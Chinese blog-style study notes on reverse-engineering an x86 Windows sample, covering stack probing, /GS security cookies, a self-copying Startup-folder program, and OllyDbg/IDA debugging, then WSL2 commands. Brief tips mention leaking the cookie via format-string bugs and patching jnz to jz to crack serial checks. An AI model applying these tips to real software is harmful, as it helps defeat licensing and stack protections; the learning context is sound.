_chkstk Routine is a helper routine for the C compiler. For x86 compilers, _chkstk Routine is called when the local variables exceed 4K bytes; for x64 compilers it is 8K.

_chkstk例程:

当函数栈帧大小大于一个内存页时,编译器会调用该函数

该例程是C编译器的补充.对于x86编译器,当局部变量超过4K时调用,对于x64编译器,局部变量超过8k时调用

然而MSDN只是介绍了啥时候调用这个函数,并没有介绍为啥调用,和调用该函数的影响

下面参考了stackoverflow

Windows pages in extra stack for your thread as it is used. At the end of the stack, there is one guard page mapped as inaccessible memory -- if the program accesses it (because it is trying to use more stack than is currently mapped), there's an access violation. The OS catches the fault, maps in another page of stack at the same address as the old guard page, creates a new guard page just beyond the old one, and resumes from the instruction that caused the violation.

为线程添加额外的windows页.在栈底有一个被操作系统监管的被映射为不可访问内存的页.如果程序视图访问该页(栈空间太小了)就会发生访问冲突.操作系统会捕获该错误,映射到与旧保护页位于同一地址的另一个堆栈页中,在旧保护页之后创建一个新的保护页,然后从导致冲突的指令恢复。

If a function has more than one page of local variables, then the first address it accesses might be more than one page beyond the current end of the stack. Hence it would miss the guard page and trigger an access violation that the OS doesn't realise is because more stack is needed. If the total stack required is particularly huge, it could perhaps even reach beyond the guard page, beyond the end of the virtual address space assigned to stack, and into memory that's actually in use for something else.

如果一个函数有多个本地变量页,那么它访问的第一个地址可能是堆栈当前端之外的多个页面。因此它会错过保护页面并触发一个操作系统没有意识到的访问冲突,因为需要更多的堆栈。如果所需的总堆栈特别巨大,它甚至可能超出保护页面,超出分配给堆栈的虚拟地址空间的末尾,进入实际用于其他用途的内存。

So, _chkstk ensures that there is enough space for the local variables. You can imagine that it does this by touching the memory for the local variables at page-sized intervals, in increasing order, to ensure that it doesn't miss the guard page (so-called "stack probes"). I don't know whether it actually does that, though, possibly it takes a more direct route and instructs the OS to map in a certain amount of stack. Either way, if the total required is greater than the virtual address space available for stack, then the OS can complain about it instead of doing something undefined.

因此,_ chkstk 确保局部变量有足够的空间。可以想象,它通过按页面大小的间隔访问本地变量的内存来实现这一点,以递增的顺序,确保它不会错过保护页(所谓的“堆栈探测”)。我不知道它是否真的这样做,但是,可能它采取了一个更直接的例程,并指示操作系统映射到一定数量的堆栈。无论哪种方式,如果所需的总空间大于可用于堆栈的虚拟地址空间,那么操作系统可以报告这件事,而不是执行未定义的操作。

逆向__alloca_probe函数观察其行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:004018E0 __alloca_probe  proc near               ; CODE XREF: sub_401000+8↑p
.text:004018E0 push ecx ;压栈保存ecx
.text:004018E1 lea ecx, [esp+4] ;ecx指向当前栈顶+4位置
.text:004018E5 sub ecx, eax ;ecx-eax->ecx,显然ecx是一个内存地址,比eax要大,这里不会置CF
.text:004018E7 sbb eax, eax ;eax-eax-CF->eax,由于上一步不需要置CF,因此这里eax=0
.text:004018E9 not eax ;eax=反eax,即eax这个32位寄存器全置高
.text:004018EB and ecx, eax ;ecx和全1按位与还是ecx
.text:004018ED mov eax, esp ;esp->eax,eax获得栈顶指针快照
.text:004018EF and eax, 0FFFFF000h ;eax只保留高20位,低12位置0
.text:004018F4
.text:004018F4 cs10: ; CODE XREF: __alloca_probe+29↓j
.text:004018F4 cmp ecx, eax ;ecx-eax根据结果置flag
.text:004018F6 jb short cs20 ;如果ecx<eax则跳转cs20
.text:004018F8 mov eax, ecx ;如果ecx>=eax,则eax=ecx
.text:004018FA pop ecx ;尾声,栈顶还给ecx
.text:004018FB xchg eax, esp ;eax和esp交换
.text:004018FC mov eax, [eax] ;
.text:004018FE mov [esp+0], eax
.text:00401901 retn ;唯一的函数出口
.text:00401902 ; ---------------------------------------------------------------------------
.text:00401902
.text:00401902 cs20: ; CODE XREF: __alloca_probe+16↑j
;执行到此说明.text:004018F6 处有ecx<eax,于是循环执行下面三行,直到ecx>=eax
.text:00401902 sub eax, 1000h ;eax-1000h->eax ,1000h就是4KB,32位win上一个页框的大小 ;栈顶下移4K,eax待会要赋值给esp栈顶指针
.text:00401907 test [eax], eax ;蜜汁操作,test运算了一下结果下一行是无条件跳转,运算个寂寞?
.text:00401909 jmp short cs10
.text:00401909 __alloca_probe endp

该函数用到了很多寄存器,ecx,eax,esp,纯静态分析很容易分析中忘记寄存器中存放的是什么了,这时候可以使用动态调试按步就班地观察

eaxsub_401000中被赋值2004h=8196d=2K然后作为参数传递给__alloca_probe显然这个大小大于一个页框

如果分配大小eax小于一个页框大小4k,则程序相当于

1
2
3
4
5
6
7
8
9
10
;size in eax
.text:004018E0 push ecx
.text:004018E1 lea ecx, [esp+4] ;ecx=esp+4
.text:004018E5 sub ecx, eax ;ecx=esp+4-size
.text:004018F8 mov eax, ecx ;eax=ecx=esp+4-size
.text:004018FA pop ecx
.text:004018FB xchg eax, esp ;esp=eax=esp+4-size while eax=esp
.text:004018FC mov eax, [eax] ;eax指向老栈顶的元素
.text:004018FE mov [esp+0], eax ;老栈顶元素搬运到新栈顶位置
.text:00401901 retn

实际上就是把当前栈扩大size,然后将原来栈顶上存放的内容搬到新的栈顶上

当分配大小eax大于一个页框4K,则程序会有额外的循环步骤

1
2
3
4
.text:00401902 cs20:                                   ; CODE XREF: __alloca_probe+16↑j
.text:00401902 sub eax, 1000h ;栈上开辟4k空间,eax待会要拷贝给esp
.text:00401907 test [eax], eax ;触摸内存,触发缺页异常,让os将虚拟页载入物理页
.text:00401909 jmp short cs10 ;循环

循环啥时候停止呢?

1
2
3
.text:004018F4 cs10:                                   ; CODE XREF: __alloca_probe+29↓j
.text:004018F4 cmp ecx, eax
.text:004018F6 jb short cs20

ecx在最初的时候直接减去size,指向了希望的栈顶,这里就比较eax是否已经越过了希望的栈顶,

当eax首次越过(eax=ecx或者eax-ecx<一个页框的大小4k)

此时栈空间足够大了,满足我们的希望了,可以停止循环了

在这里可以看出,x86windows的栈帧大小是以页框4K为单位进行分配的.

这个__security_cookie带着下划线前缀,一看就不是用户写的,这是个啥呢?

从意义上看,安全cookie值,应该是和安全相关

1
2
3
4
5
6
.data:00403000 ; Segment permissions: Read/Write
.data:00403000 _data segment para public 'DATA' use32
.data:00403000 assume cs:_data
.data:00403000 ;org 403000h
.data:00403000 ; uintptr_t __security_cookie
.data:00403000 ___security_cookie dd 0BB40E64Eh ; DATA XREF: sub_401000+D↑r

___security_cookie位于.data段,程序拥有读写该段的权限.该段的段寄存器是cs寄存器

dword ___security_cookie=0BB40E64Eh是一个双字类型,相当于一个int,32字节

这就是一个常数啊,为啥要把一个八竿子打不着的常数压栈呢?

sub_401000尾声伊始,还有有一条涉及security_cookie指令

1
.text:0040106F                 call    @__security_check_cookie@4 ; __security_check_cookie(x)

该条指令调用了一个函数@__security_check_cookie@4

@__security_check_cookie@4

从汇编符号上看,应该是fastcall调用约定

本函数只需要一个参数,使用ecx寄存器传递

ecx寄存器传递了啥参数呢?在sub_40100中是这样写的:

1
2
.text:00401068                 mov     ecx, [ebp+var_4]	
.text:0040106B xor ecx, ebp ; StackCookie

var_4又是啥?

1
2
3
.text:0040100D                 mov     eax, ___security_cookie
.text:00401012 xor eax, ebp
.text:00401014 mov [ebp+var_4], eax

cookie放到eax里面然后和ebp异或一下再放到var_4,即var_4=___security_cookie ^ ebp,相当于一层加密

因此在尾声的时候把var_4拿出来还要和ebp异或一下才能得到___security_cookie,相当于一层解密

那么此时传递给@__security_check_cookie@4函数的ecx里面,理论上就应该是纯纯的闸总___security_cookie

1
2
3
4
5
.text:004010A3 @__security_check_cookie@4 proc near    ; CODE XREF: sub_401000+6F↑p
.text:004010A3 ; DATA XREF: __except_handler4+11↓o
.text:004010A3 cmp ecx, ___security_cookie
.text:004010A9 jnz short $failure$26820
.text:004010AB rep retn

该函数也确实将ecx和位于.data段的___security_cookie进行了比较,如果不一样则跳转$failure$26820

上述过程干了个什么事呢?防止栈缓冲区溢出

下面是sub_401000函数的栈帧,var_4是在调用者ebp保存值s和本函数返回地址r之上的(var_4相对靠近栈顶,r在栈帧底部)

栈倒着长但是栈内数据正着长,如果有一个缓冲区一直增长,把位于ebp-0x4的var_4覆盖了,甚至把位于ebp+0的s等等也覆盖了

在函数尾声的时候,就会把var_4拿出来看看其中异或保存的___security_cookie是否发生了变化.

一旦检查出var_4中异或保存的___security_cookie发生了变化,则至少表明栈缓冲区溢出已经到了ebp-0x4,

至于后面的调用者ebp和本函数返回地址有没有被溢出呢?不知道,但是不能做出乐观的假设,

为了防止返回地址被修改引起的攻击,此时应当立刻终止进程并报告错误

1
2
3
4
5
6
7
8
...
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

为啥要把___security_cookie和ebp异或一下呢?

为啥不直接把___security_cookie副本压栈最后再将该副本退栈和位于.data___security_cookie比较呢?

这样相当于数据库保存了用户密码的明文,一旦脱库后果不堪设想.如果___security_cookie在栈上也是明文保存的,则可以利用printf格式化字符串漏洞尝试打印该值,在溢出的时候对于栈中___security_cookie副本位置,只需要装模做样的写上,后面继续溢出

这样就可以绕过检查

为啥要和ebp异或一下呢?为啥不能是其他值?

考虑这个与___security_cookie异或的值应该有什么特性?函数开端和函数尾声的时候都要与他异或,这个值应该保持不变,

满足这个特征的值可以想到的就是ebp了,对于当前函数,它永远指向栈帧底部不变.

栈顶指针就不行,esp会随着局部变量的声明或者子函数的调用而改变

为啥使用异或运算加密呢?使用按位与,按位或不行吗?

异或运算有一个性质:如果\(A\oplus B=C\)\(C\oplus A=(A\oplus B)\oplus A=B\)

显然按位与,按位或等运算没有这个性质

而这个性质正是在函数开端时\(var_4=ebp\oplus security\_cookie\),

在函数尾声时能够\(security\_cookie=var_4\oplus ebp\)的原理

这样就绝对安全了吗?能够完全抵御栈缓冲区溢出修改函数返回地址了吗?

使用security_cookie只能一定程度上保护调用者ebp和返回地址不被修改,栈帧中,存放在var_4之后,缓冲区之前的局部变量不受保护

并且security_cookie在编译之后就是一个定值了,运行时永远不变,使用ida就可以直接看到它多粗多长

在运行时动态调试一下就可以看到ebp是多少,

如果没有开启基址随机化,则每次ebp都是一个常数,

那么var_4=security_cookie ^ ebp也是一个常数,这就异或加密了个寂寞

call ds:GetModuleFileNameW

现在回到sub_401000函数中

1
2
3
4
5
push    1000h           ; nSize
lea eax, [ebp+Filename]
push eax ; lpFilename
push 0 ; hModule
call ds:GetModuleFileNameW

又调用了一个API函数GetModuleFileNameW,这个函数干了啥呢?

GetModuleFileNameW函数原型

1
2
3
4
5
DWORD GetModuleFileNameW(
[in, optional] HMODULE hModule,
[out] LPWSTR lpFilename,
[in] DWORD nSize
);

hModule:应用程序或者DLL实力句柄,如果为NULL则获取当前程序路径

lpFilename:获取路径之后存放之的字符串缓冲区

nSize:缓冲区大小,作用是防止缓冲区溢出

在这里第一个参数hModule=0,表明要获取当前应用程序的目录

第二个参数lpFilename=Filename是sub_401000函数栈中的一个缓冲区

第三个参数nSize=1000h,表明缓冲区大小为4KB

关于LPWSTR类型,实际是wchar_t*类型,即宽字符unicode编码的字符串

L长

P指针

W宽

STR字符串

宽字符的作用是支持包括英文,中文,日文等等各种花言鸟语的符号,ASCII码最多表示\(2^8=256\)个字符,unicode最多表示\(2^{16}=65536\)个字符,常用汉字就3000个,显然unicode有能力森罗万象

call ds:SHGetFolderPathW

1
2
3
4
5
6
7
lea     ecx, [ebp+pszPath]
push ecx ; pszPath
push 0 ; dwFlags
push 0 ; hToken
push 7 ; csidl
push 0 ; hwnd
call ds:SHGetFolderPathW

又是一个API函数

它亲戚SHGetFolderPathA函数原型

1
2
3
4
5
6
7
SHFOLDERAPI SHGetFolderPathA(
[in] HWND hwnd,
[in] int csidl,
[in] HANDLE hToken,
[in] DWORD dwFlags,
[out] LPSTR pszPath
);

其中参数csidl=7是啥意思呢?表示"启动"文件夹

在win10上这个文件夹在C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

获取"启动"文件夹目录,字符串存放到pszPath指向的缓冲区

csidl其他值的意义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CSIDL_DESKTOP = &H0 '// The Desktop - virtual folder
CSIDL_PROGRAMS = 2 '// Program Files
CSIDL_CONTROLS = 3 '// Control Panel - virtual folder
CSIDL_PRINTERS = 4 '// Printers - virtual folder
CSIDL_DOCUMENTS = 5 '// My Documents
CSIDL_FAVORITES = 6 '// Favourites
CSIDL_STARTUP = 7 '// Startup Folder
CSIDL_RECENT = 8 '// Recent Documents
CSIDL_SENDTO = 9 '// Send To Folder
CSIDL_BITBUCKET = 10 '// Recycle Bin - virtual folder
CSIDL_STARTMENU = 11 '// Start Menu
CSIDL_DESKTOPFOLDER = 16 '// Desktop folder
CSIDL_DRIVES = 17 '// My Computer - virtual folder
CSIDL_NETWORK = 18 '// Network Neighbourhood - virtual folder
CSIDL_NETHOOD = 19 '// NetHood Folder
CSIDL_FONTS = 20 '// Fonts folder
CSIDL_SHELLNEW = 21 '// ShellNew folder

call ds:lstrcatW

1
2
3
4
push    offset String2  ; "\\wsample01b.exe"
lea edx, [ebp+pszPath]
push edx ; lpString1
call ds:lstrcatW

String2是.rdata段的常量字符串

pszPath存放了刚才调用函数SHGetFolderPathW获取的文件夹目录

这里相当于调用了lstrcatw(&pszPath,&pszPath),将后者拼接到前者上,得到wsample01b.exe的绝对地址

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\wsample01b.exe

call ds:CopyFileW

1
2
3
4
5
6
push    0               ; bFailIfExists
lea eax, [ebp+pszPath]
push eax ; lpNewFileName
lea ecx, [ebp+Filename]
push ecx ; lpExistingFileName
call ds:CopyFileW

即调用了CopyFileW(&Filename,&pszPath,0)

CopyFileW函数原型

1
2
3
4
5
BOOL CopyFileW(
[in] LPCWSTR lpExistingFileName,
[in] LPCWSTR lpNewFileName,
[in] BOOL bFailIfExists
);

将一个已经存在的文件lpExistingFileName拷贝到一个新的位置lpNewFileName

如果bFailIfExists=1并且新的位置已有同名文件,则函数执行失败,返回FALSE

如果bFailIfExists=0并且新的位置已有同名文件,则覆盖该文件

综上程序干了一个将自己复制到"启动"文件夹下的工作,意图让自己每次开机自启,有了病毒的勤快但是没有病毒的毒性

尾声

1
2
3
4
5
6
7
8
mov     ecx, [ebp+var_4]
xor ecx, ebp ; StackCookie
xor eax, eax
call @__security_check_cookie@4 ; __security_check_cookie(x)
mov esp, ebp
pop ebp
retn
sub_401000 endp

首先检查金丝雀值是否被修改,这个前面已经分析过了

然后退还调用者的ebp,函数返回

总结程序行为

首先调用sub_401000函数,该函数将wsample01b.exe拷贝到"启动"文件夹,然后弹窗打印"copied"

ollydbg动态调试wsample01b.exe

x32dbg和ollydbg就像那黑牛和白牛,就是那海尔兄弟

打开

例程来自有趣的二进制kenjiaiko/binarybook (github.com)

用ollydbg打开wsample01b.exe,可以在ollydbg中的菜单栏中文件->打开,也可以快捷键F3打开

image-20220707161255625

还可以使用命令行参数打开PS C:\Users\86135\Desktop\bin\binarybook\chap01\wsample01b\release> od wsample01b.exe

这里我把olly dbg.exe重命名为od方便使用

需要将od的根目录添加到环境变量path,才能使用终端调用od

image-20220707160733203

在反汇编窗口第一行即0x401000位置已经自动有一个断点,

这个位置刚才我们已经经过ida静态分析过了,是sub_401000函数的起始地址,显然这个函数是根据地址起的哑名

这四个区的视图结构也是可以更改的

image-20220707171515399

但是一般都使用默认的视图模式,这个看的习惯

查看快捷键

image-20220707165636208'

image-20220707171131310

ctrl+G跳转

用ida静态分析时,我们知道WinMain函数的起始地址在0x00401080

可以使用ctrl+G打开跟随窗口进行跳转

image-20220707161059609

回车之后就跳转到该位置

image-20220707161215951

还可以跟踪一个函数,比如API函数MessageBoxA

image-20220707161728342

双击右侧列表中的MessageBoxA之后,反汇编窗口自动跳转到该函数实现的入口

image-20220707161815928

一看地址好家伙都到0x75539096了,

而ida静态分析时的地址最大才到.data:0040338C,不用ctrl+G,只拖动od反汇编窗口的滑块,也是最大可以看到401FFF,后面就一片空白了,就好像od懒得干活了一样

image-20220707162547049

0x75539096这个地址是啥呢?为什么会这么大?

一开始我还认为这是内核的地址空间,实际上不是,这个值还是在0 - 0x7FFFFFFF范围内的,是用户地址空间

地址范围 0 - 0x7FFFFFFF(2G),运行

应用程序代码、数据等等。

2.2.1 空指针区(NULL区)

地址范围 0 - 0x0000FFFF

2.2.2 用户区

地址范围 0x00010000 - 0x7FFEFFFF

2.2.3 64K禁入区

地址范围 0x7FFEFFFF - 0x7FFFFFFF

2.2 内核空间

地址范围 0x80000000 - 0xFFFFFFFF,被

系统使用,运行驱动、内核的数据和代码。

猜测这是DLL库,但是具体是不是,需要学习了windows上的链接阶段再说

alt+e查看模块

image-20220707164553789

刚才的问题0x75539096这个地址就属于user32.dll模块

调试快捷键

image-20220707165555280

运行

按下F9之后,程序会在第一个断点处停下,如果没有任何断点,程序也没有错误则程序直接执行完毕

步入和步过的区别:

对于函数调用,步入则反汇编窗口会跳转跟随该函数,一行一行执行.

而步过则是直接让函数执行完毕,反汇编窗口不会跟随函数,但是保留函数产生的影响,比如寄存器和一些全局变量等的值变化

执行到返回:

本来步入了一个函数,后来看烦了想跳出这个函数,就用执行到结束

或者一个需要114514次的大循环,已经循环到第10次了,后面还要循环114504次,烦死了,直接执行到结束跳出循环

函数中的循环则只跳出一层,再按一次执行到返回才会跳出函数

单步和自动的区别:

单步是拨一拨转一转,按一下F7或者F8才会执行一行,

自动是按下ctrl+F7或者ctrl+F8之后,od就会像过电影一样自动呼呼地执行,反汇编窗口等四个窗口都会实时跟随更新,相当于一直按着F7或者F8

啥时候自动的能停下呢?

- 按 Esc 键或发出任何单步命令

- OllyDbg 遇到断点

- 被调试程序发生异常

执行到用户代码:

如果当前正在库函数中跑,按下Alt+F9之后,od会在第一条回归到用户自己写的函数中的位置停下

插件

image-20220707171738040

我这个ollydbg是从吾爱破解论坛上下载的懒人包,里面已经集成了一些插件

+BP-OLLY

image-20220707172112679

这是一个小工具栏

image-20220707172151132

我的懒人包ollydbg启动时这个插件会自启动

其中BP是BreakPoint断点的缩写,作用是在API函数上下断点

image-20220707172244773

P是编辑命令快捷键

image-20220707172412802

比如BP MessageBoxA就相当于保存了一条命令,下一次只需要点击一下就可以自动让od执行该命令

实际作用和在ollydbg的底行输入命令回车执行相同

image-20220707172511015

这里Command还能干啥呢?现在不想炎鸠

VB也是在一些库函数上下断点,但是这些库函数目前没有遭遇过

image-20220707172623275

NotePad,调用windows系统自带的记事本程序

Calc,调用计算器

Folder,打开exployer文件系统资源管理器

CMD,打开命令提示符

Exit,关闭该插件

API断点

image-20220707171843420

这两个插件的功能差不多,都是让od自动找到我们调用API函数的地方下断点

比如image-20220707171936097

在GetWindowTextA处下断点,这个API的作用是获取用户在窗口中的文本框输入.

一些序列号注册验证逻辑往往就发生在获取用户输入之后,让od自动停在这种地方,方便我们单步调试后面的逻辑

花里胡哨的插件

这些插件我都没用到过,它们描述的功能,什么"花指令",什么"反混淆",看上去好高深,现在不想炎鸠

image-20220707172857063

中文搜索引擎

image-20220707172950546

搜索UNICODE之后的结果

image-20220707173009685

其作用相当于二进制工具Strings

1
2
3
4
PS C:\Users\86135\Desktop\bin\binarybook\chap01\wsample01b\release> strings wsample01b.exe -d -eb
\wsample01b.exe
MESSAGE
Copied!

-d选项只扫描.data区,

-e选项指定字符宽度,b或者l表示16字节即一个宽字符unicode

自动注释

image-20220707173038785

差评,这个插件根本跑不起来,现有的注释不是插件带来的,是od自带的

image-20220707173157070

这些注释已经足够看懂程序了

动态调试

正儿八经开始调试这个wsample01b.exe

由于od自动在最顶上一行0x401000下了断点,此处正好是sub_401000函数入口,直接F9运行观察该函数的行为

image-20220707184836611

开始运行时,程序会停止在第一个断点0x401000处,当前停止位置会有灰色高亮

左上角"暂停"表明当前调试器的状态

寄存器区的表现为:

image-20220707185010444

其中红色的是有变化的寄存器,刚开始执行一个程序,各个通用目的寄存器还有栈顶指针,帧指针等等都认为有变化

其中

eip=0x401000表明将要执行的指令地址

esp=0x0019FEE0表明当前栈顶指针位置

由于还没有经历sub_401000的开端,ebp=0x0019FF74这个值是谁的栈帧指针呢?

啃腚不是winmain的!啃腚不是winmain的!啃腚不是winmain的!

说三遍是因为一开始瞎几把分析都认为是winmain的帧指针了

winmain函数满足stdcall调用约定,不会使用栈帧指针ebp,那么此ebp有可能是winmain的调用者的帧指针,也不一定,要是调用者也是stdcall,则ebp还得往前找

谁调用了winmain呢?这个问题可以在ida的function calls中观察

image-20220707192428834

也可以在目前的栈帧中观察winmain的返回地址

栈帧区的表现为

image-20220707185758156

紫色高亮是手动选中的,栈顶指针在0x19FEE0,会有类似反汇编区中将要执行指令的灰色高亮

由于控制已经转到sub_401000的第一条指令,这表明,winmain中的call sub_401000已经执行过了,

因此sub_401000的返回地址0x401085已经压入栈中0x19FEE0位置

ida观察这件事,确实call指令下面一条指令的地址就是0x401085

1
2
.text:00401080                 call    sub_401000
.text:00401085 push 0 ; uType

注意到还有另一个返回到 wsample0.00401255 来自 wsample0.00401080,这是啥呢?

这个指令地址在__tmainCRTStartup函数中

1
2
.text:00401250                 call    _wWinMain@16    ; wWinMain(x,x,x,x)
.text:00401255 mov dword_403038, eax

原来是winmain的返回地址,同时也知道了是__tmainCRTStartup这个函数调用了_wWinMain@16

至于__tmainCRTStartup这个函数干了啥呢?我非常好奇,但是现在不是炎鸠它的时候,后面专门炎鸠win32程序调用的全过程

下面接着两条指令都是mov指令,不涉及函数调用,因此单步步入和单步步过没有区别

image-20220707190703773
image-20220707191307452

这大概就是调试过程

调试时修改

改指令

反汇编区,任意一行汇编指令都是可以修改的,双击即可修改

image-20220707193913865

一定要选择使用NOP填充,因为运行时各种寻址已经确定,如果我们修改的汇编指令比原指令短,则从该指令以后的所有指令地址都会移动,各种寻址方式就寄了

这里修改指令带来的影响是永久的,即直接修改了可执行文件中的二进制代码,下一次运行本程序还会带着本次的修改

破解序列号注册程序时往往把jnz改成jz就可以让序列号判断寄掉

改寄存器

比如修改状态寄存器ZF,双击其数值就可以从0改到1或者从1改到0,后续的计算都是基于修改后的值

image-20220707194243839

也可以修改其他寄存器,比如程序计数器esp

image-20220707194718167

修改之后堆栈区的当前栈顶指针也会跟着改

有一个寄存器没法改,那就是eip程序计数器

修改寄存器造成的影响是临时的,仅限于本次程序执行,当程序重新执行时没有影响

改堆栈

比如可以把sub_401000的返回地址改成sub_401000的入口地址,ret2text?

image-20220707195024065

改堆栈也是临时的

IDA动态调试wsample01b.exe

image-20220707201135306

首先要选择调试器

image-20220707201155743

说是选择,然而只有一个Local Windows debugger可以用,其他的都找不到,没安装

选好之后下断点

比如在winmain第一行下断点

image-20220707201428364

此后按下F9就开始动态调试了

image-20220707201704143

各种快捷键都与ollydbg相似,包括F7单步步入,F8单步步过等等

WSL2

Windows Subsystem for Linux,在windows上运行的linux子系统

前一段时间一直在用WSL kali+vscode+python3,做pwn的题目还有linux上的逆向题.确实比用vmware开一个虚拟机方便一万倍

但是对wsl的了解也就仅限于一些简单的命令比如ls等等,对于子系统和主系统的网络关系,以及子系统的其他用法,没有了解过

现在想了解一下子系统的结构,怎么用子系统完成操作系统的课程实验(编译内核,系统调用,内核模块,设备驱动)

以及如何修改子系统的各种设置,比如防火墙,与主机的网络关系,网络发现等

随性更新...

安装/卸载wsl

安装wsl

后面的实验都是基于WSL2已经安装完成,kali子系统已经能够在终端上运行了.安装wsl可以去微软官网(这部分已经被翻译过了),要添加windows功能

image-20220622193653802

具体参考WSL 的基本命令 | Microsoft Docs

在微软应用市场上可以下载各种linux系统,比如ubuntu18.04和ubuntu20.04,kali,debian等等

image-20220622191626686

更方便的方法是在命令行上

查看本机已安装子系统

wsl -l

1
2
3
4
PS C:\Users\86135\Desktop\pwn> wsl -l
适用于 Linux 的 Windows 子系统分发版:
kali-linux (默认)
Ubuntu

查看可以安装的子系统

wsl -l -o

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\86135\Desktop\pwn> wsl -l -o
以下是可安装的有效分发的列表。
请使用“wsl --install -d <分发>”安装。

NAME FRIENDLY NAME
Ubuntu Ubuntu
Debian Debian GNU/Linux
kali-linux Kali Linux Rolling
openSUSE-42 openSUSE Leap 42
SLES-12 SUSE Linux Enterprise Server v12
Ubuntu-16.04 Ubuntu 16.04 LTS
Ubuntu-18.04 Ubuntu 18.04 LTS
Ubuntu-20.04 Ubuntu 20.04 LTS

设置默认的wsl

wsl --set-default <子系统名>

在powershell中使用wsl命令时,有一个默认使用的子系统,比如我现在默认使用kali-linux,当终端上直接输入wsl时默认唤醒kali-linux,而不是ubuntu

1
2
3
4
5
6
7
8
9
10
PS C:\Users\86135\Desktop\pwn> wsl --set-default ubuntu
PS C:\Users\86135\Desktop\pwn> wsl -l
适用于 Linux 的 Windows 子系统分发版:
Ubuntu (默认)
kali-linux
PS C:\Users\86135\Desktop\pwn> wsl --set-default kali-linux
PS C:\Users\86135\Desktop\pwn> wsl -l
适用于 Linux 的 Windows 子系统分发版:
kali-linux (默认)
Ubuntu

卸载子系统

在微软应用商店里是木法卸载子系统的,在终端上行

wsl --unregister <子系统名>

1
2
3
4
5
PS C:\Users\86135\Desktop\pwn> wsl --unregister ubuntu
正在注销...
PS C:\Users\86135\Desktop\pwn> wsl -l
适用于 Linux 的 Windows 子系统分发版:
kali-linux (默认)

三炮!

出去!

唤醒/关闭wsl

选择唤醒哪一个子系统

wsl -d <子系统名>

1
2
PS C:\Users\86135\Desktop\pwn> wsl -d ubuntu
ubuntu@Executor:/mnt/c/Users/86135/Desktop/pwn$

选择登录用户

wsl -u <用户名>

比如可以选择使用root登录系统,也可以使用普通用户登录系统.

只要是从powershell上唤醒子系统,不需要输入登录密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS C:\Users\86135\Desktop\pwn> wsl -u root
┏━(Message from Kali developers)

┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/

┗━(Run: “touch ~/.hushlogin” to hide this message)
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn]
└─# exit
logout
PS C:\Users\86135\Desktop\pwn> wsl -u kali
┏━(Message from Kali developers)

┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/

┗━(Run: “touch ~/.hushlogin” to hide this message)

设置默认登录用户

kali的默认登录用户是普通用户,权限有限.现在想要将默认登录用户改成root,如此不需要su或者sudo再输入密码

<子系统名> config --default-user <用户名>

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\86135\Desktop\pwn> kali config --default-user root
PS C:\Users\86135\Desktop\pwn> kali
┏━(Message from Kali developers)

┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/

┗━(Run: “touch ~/.hushlogin” to hide this message)
┌──(root㉿Executor)-[~]
└─#

查看子系统内核版本wsl --status

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\86135\Desktop\pwn> wsl --status
默认分发:kali-linux
默认版本:2

适用于 Linux 的 Windows 子系统最后更新于 2022/4/21
适用于 Linux 的 Windows 子系统内核可以使用“wsl --update”手动更新,但由于你的系统设置,无法进行自动更新。
若要接收自动内核更新,请启用 Windows 更新设置:“在更新 Windows 时接收其他 Microsoft 产品的更新”。
有关详细信息,请访问https://aka.ms/wsl2kernel。
Windows 更新已暂停。

内核版本: 5.10.102.1

子系统关机

关闭子系统所在的终端并不会关闭wsl,它会在后台运行,因此下一次打开wsl的时候会发现开启的很快.

在powershell上使用wsl --shutdown就可以关闭所有在后台运行的子系统

如果不想关闭所有后台子系统,只停止其中的某一个,可以wsl --terminate <子系统名>

工作目录

windows下wsl的位置

\\wsl.localhost\kali-linux

1
2
3
4
5
PS Microsoft.PowerShell.Core\FileSystem::\\wsl.localhost\kali-linux> pwd

Path
----
Microsoft.PowerShell.Core\FileSystem::\\wsl.localhost\kali-linux

这到底是个啥地方呢?前面怎么好长一坨,FileSystem后面还有俩冒号

1
2
PS C:\Users\86135> cd \\wsl.localhost\kali-linux
PS Microsoft.PowerShell.Core\FileSystem::\\wsl.localhost\kali-linux>

如果在这个目录下面,想使用cd ..退到爹目录,接着说找不到爹目录

实际上可以直接用explorer访问wsl的文件系统

image-20220716105512580

wsl上windows的位置

1
2
3
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn]
└─# pwd
/mnt/c/Users/86135/Desktop/pwn

即windows的根目录在wsl上为/mnt/

比如桌面就是/mnt/c/Users/86135/Desktop/

D盘就是/mnt/d/

共享环境变量

在wsl上可以调用windows的环境变量中的应用程序

不同于windows终端的是,wsl上调用win的应用需要.exe后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿Executor)-[~]
└─# ipconfig
-bash: ipconfig: command not found

┌──(root㉿Executor)-[~]
└─# ipconfig.exe

Windows IP 配置


以太网适配器 以太网:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
...

也可以用wsl打开主系统中已经添加到环境变量的窗口应用程序

也可以在wsl上调用主系统的cmd,切换到主系统的cmd终端

1
2
3
4
5
6
7
8
9
┌──(root㉿Executor)-[~]
└─# cmd.exe
'\\wsl.localhost\kali-linux\root'
用作为当前目录的以上路径启动了 CMD.EXE。
UNC 路径不受支持。默认值设为 Windows 目录。
Microsoft Windows [版本 10.0.22000.675]
(c) Microsoft Corporation。保留所有权利。

C:\Windows>

至于两个系统的终端怎么怎么联系.

这都是茴香豆的n种写法,不会有人闲的让终端之间踢皮球吧

